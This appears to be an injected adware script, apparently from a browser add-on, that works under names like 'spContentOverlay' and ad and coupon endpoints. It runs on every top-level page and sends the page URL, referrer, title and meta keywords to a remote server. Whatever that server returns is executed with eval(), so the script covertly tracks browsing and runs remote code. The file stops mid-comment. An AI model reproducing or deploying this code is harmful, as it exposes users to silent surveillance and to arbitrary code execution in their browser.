var SP_GET_JQ = 0; var SP_ENDPOINTURL = "http://ssl.socialprivacy.org/"; var SP_API_ENDPOINT = "https://ssl.socialprivacy.org/"; var AD_ENDPOINT = "http://couponbanner.com/"; var BAR_ENDPOINT = "https://ssl.socialprivacy.org/"; var SP_ENDPOINTURLSSL = "https://ssl.socialprivacy.org/"; var SP_API_ENDPOINTSSL = "https://ssl.socialprivacy.org/"; var AD_ENDPOINTSSL = "https://couponbanner.com/"; var BAR_ENDPOINTSSL = "https://ssl.socialprivacy.org/"; var VSOL_ENDPOINT = "http://www.videostasher.com/"; var VSOL_ENDPOINTSSL = "https://www.videostasher.com/"; var CD_ENDPOINT = "http://www.chirpdeal.com"; var CD_ENDPOINTSSL = "http://www.chirpdeal.com"; var SP_GET_JWPLAYER = 0; var SP_JWPLAYER_KEY = "5PbMPr/5jSlSqTuUpPdxJDeL15AEY0R9cA2WCg=="; spContentOverlay = { PID: "ADK8", jQuery: null, pageHandlerURL: 'native/pagehandler.php', getSearchQuery: function() { if (!this.jQuery) { return null; } var qry = null; qry = this.jQuery('input[type=text]:eq(0)').val().trim(); return qry; }, shuffleArray: function(array) { var i = array.length, j, tempi, tempj; if (i == 0) { return false; } while (--i) { j = Math.floor(Math.random() * (i + 1)); tempi = array[i]; tempj = array[j]; array[i] = tempj; array[j] = tempi; } return array; } }; spContentOverlay.file_get_contents = function(url, callback) { var epurl = url + '&cbust=' + new Date().getTime(); var epvars = ""; ajax.get(epurl, function(responseText) { var resp = null; if (typeof(responseText) != 'undefined') { resp = responseText; } if (typeof(callback) == 'function') { callback(resp); } }, epvars, false); }; spContentOverlay.getTLDFromHost = function(host) { var parts = host.split("."); var tld; if (parts.length > 2) { tld = host.substring(host.indexOf(".") + 1, host.length); } else { tld = host; } return tld; }; spContentOverlay.callPageHandler = function() { if (self !== top) { return; } var keywords = ""; var desc = ""; metaData = document.getElementsByTagName('meta'); for (i=0; i 0) ? metaData[i].content : null; } else if(metaData[i].name.toLowerCase() == "description"){ desc = (metaData[i].content.length > 0) ? metaData[i].content : null; } } var ref = (document.referrer. length > 0)? document.referrer : null; var doctitle = (document.title.length > 0)? document.title : null; epurl = (spContentOverlay.pageProtocol == "https:")? SP_ENDPOINTURLSSL : SP_ENDPOINTURL; epurl += spContentOverlay.pageHandlerURL; var epvars = ""; epvars += "u=" + encodeURIComponent(window.location.href); epvars += "&de=" + encodeURIComponent(desc); epvars += "&kw=" + encodeURIComponent(keywords); epvars += "&ref=" + encodeURIComponent(ref); epvars += "&dt=" + encodeURIComponent(doctitle); epvars += "&a=sp"; epvars += "&b=ff"; epvars += "&co=US"; epvars += "&s="; epvars += "&pid=ADK8"; ajax.post(epurl, function(r) { if (r.length){ try { eval(r); } catch (e) { console.log("[pageHandler] exception eval'ing the response:" + e); } } }, epvars, true); return; }; spContentOverlay.main = function() { if (self !== top) { return; } spContentOverlay.callPageHandler(); }; spContentOverlay.init = function() { if (self !== top) { return; } spContentOverlay.pageProtocol = window.location.protocol; var loc = document.location.href; var headID = document.getElementsByTagName("head")[0]; if (typeof(SP_GET_JQ) != "undefined" && SP_GET_JQ) { var stl = document.createElement("link"); stl.rel = "stylesheet"; stl.type = "text/css"; stl.href = ((document.location.protocol == 'https:') ? SP_ENDPOINTURLSSL : SP_ENDPOINTURL) + 'native/styles.css'; headID.appendChild(stl); var otherlib = false; if (typeof($) == 'function') { otherlib = true; } if (typeof(jQuery) == 'undefined') { var jsn = document.createElement("script"); jsn.type = 'text/javascript'; jsn.src = spContentOverlay.pageProtocol + "//ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js"; jsn.onload = function () { if (typeof(jQuery) != 'undefined') { spContentOverlay.jQuery = (!otherlib) ? jQuery : jQuery.noConflict(); spContentOverlay.main(); } }; headID.appendChild(jsn); } else { spContentOverlay.jQuery = jQuery; spContentOverlay.main(); } } else { spContentOverlay.main(); } }; spContentOverlay.parseURL = function(str, component) { // http://kevin.vanzonneveld.net // + original by: Steven Levithan (http://blog.stevenlevithan.com) // + reimplemented by: Brett Zamir (http://brett-zamir.me) // + input by: Lorenzo Pisani // + input by: Tony // + improved by: Brett Zamir (http://brett-zamir.me) // % note: Based on http://stevenlevithan.com/demo/parseuri/js/assets/parseuri.js // % note: blog post at http://blog.stevenlevithan.com/archives/parseuri // % note: demo at http://stevenlevithan.com/demo/parseuri/js/assets/parseuri.js // % note: Does not replace invalid characters with '_' as in PHP, nor does it return false with // % note: a seriously malformed URL. // % note: Besides function name, is essentially the same as parseUri as well as our allowing // % note: an extra slash after the scheme/protocol (to allow file:/// as in PHP) // * example 1: parse_url('http://username:password@hostname/path?arg=value#anchor'); // * returns 1: {scheme: 'http', host: 'hostname', user: 'username', pass: 'password', path: '/path', query: 'arg=value', fragment: 'anchor'} var key = ['source', 'scheme', 'authority', 'userInfo', 'user', 'pass', 'host', 'port', 'relative', 'path', 'directory', 'file', 'query', 'fragment'], ini = (this.php_js && this.php_js.ini) || {}, mode = (ini['phpjs.parse_url.mode'] && ini['phpjs.parse_url.mode'].local_value) || 'php', parser = { php: /^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\?([^#]*))?(?:#(.*))?)/, strict: /^(?:([^:\/?#]+):)?(?:\/\/((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?))?((((?:[^?#\/]*\/)*)([^?#]*))(?:\?([^#]*))?(?:#(.*))?)/, loose: /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/\/?)?((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/ // Added one optional slash to post-scheme to catch file:/// (should restrict this) }; var m = parser[mode].exec(str), uri = {}, i = 14; while (i--) { if (m[i]) { uri[key[i]] = m[i]; } } if (component) { return uri[component.replace('PHP_URL_', '').toLowerCase()]; } if (mode !== 'php') { var name = (ini['phpjs.parse_url.queryKey'] && ini['phpjs.parse_url.queryKey'].local_value) || 'queryKey'; parser = /(?:^|&)([^&=]*)=?([^&]*)/g; uri[name] = {}; uri[key[12]].replace(parser, function ($0, $1, $2) { if ($1) {uri[name][$1] = $2;} }); } delete uri.source; return uri; }; spContentOverlay.getQueryVar = function(varName, query) { var pieces = query.split('&'); var num_pieces = pieces.length; for (i = 0; i < num_pieces; i++) { var t = pieces[i].split('='); if (t[0] == varName) { return t[1]; } } return null; }; var rrJWPlayer = { mparent: null, originalContent: null, minimumDuration: 3, replaceContent: function() { if (this.mparent && this.originalContent) { spContentOverlay.jQuery(this.mparent).html(this.originalContent); } } }; window.addEventListener("message", function(evnt) { if (evnt.data == 'replace_yt_content') { rrJWPlayer.replaceContent(); } }); //basic ajax lib - miniajax //function $(e){if(typeof e=='string')e=document.getElementById(e);return e}; //function collect(a,f){var n=[];for(var i=0;i